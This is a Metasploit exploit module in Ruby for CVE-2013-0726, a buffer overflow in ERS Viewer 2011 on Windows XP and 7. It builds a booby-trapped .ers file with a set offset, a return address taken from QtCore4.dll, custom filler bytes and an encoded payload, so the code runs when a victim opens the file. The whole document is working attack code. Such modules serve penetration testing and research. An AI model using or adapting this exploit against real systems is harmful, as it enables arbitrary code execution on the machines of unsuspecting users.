##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2011 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2011
        (version 11.04). The vulnerability exists in the module ermapper_u.dll where the
        function ERM_convert_to_correct_webpath handles user provided data in an insecure
        way. It results in arbitrary code execution under the context of the user viewing
        a specially crafted .ers file. This module has been tested successfully with ERS
        Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Parvez Anwar', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0726' ],
          [ 'OSVDB', '92694' ],
          [ 'BID', '59379' ],
          [ 'URL', 'http://web.archive.org/web/20130515231047/http://secunia.com/advisories/51725/' ]
        ],
      'Payload'        =>
        {
          'Space'    => 7516,
          'BadChars' => "\x22\x5c" +
            (0x7f..0xff).to_a.pack("C*") +
            (0x00..0x08).to_a.pack("C*") +
            (0x0a..0x1f).to_a.pack("C*"),
          'DisableNops' => true,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP'
            }
        },
      'SaveRegisters'  => [ 'ESP' ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'ERS Viewer 2011 (v11.04)  / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 260,
              'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-04-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
      ])

  end

  # Rewrote it because make_nops is ignoring SaveRegisters
  # and corrupting ESP.
  def make_nops(count)
    return "\x43" * count # 0x43 => inc ebx
  end

  def exploit

    buf = rand_text(target['Offset'])
    buf << [target.ret].pack("V")
    buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode
    buf << payload.encoded

    ers = %Q|
DatasetHeader Begin
  Name		= "#{buf}"
DatasetHeader End
    |

    file_create(ers)
  end
end
